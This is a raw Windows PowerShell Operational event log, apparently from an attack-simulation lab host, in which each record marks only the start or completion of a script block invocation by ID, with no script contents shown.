Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025305
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025303
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025302
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025281
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025275
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
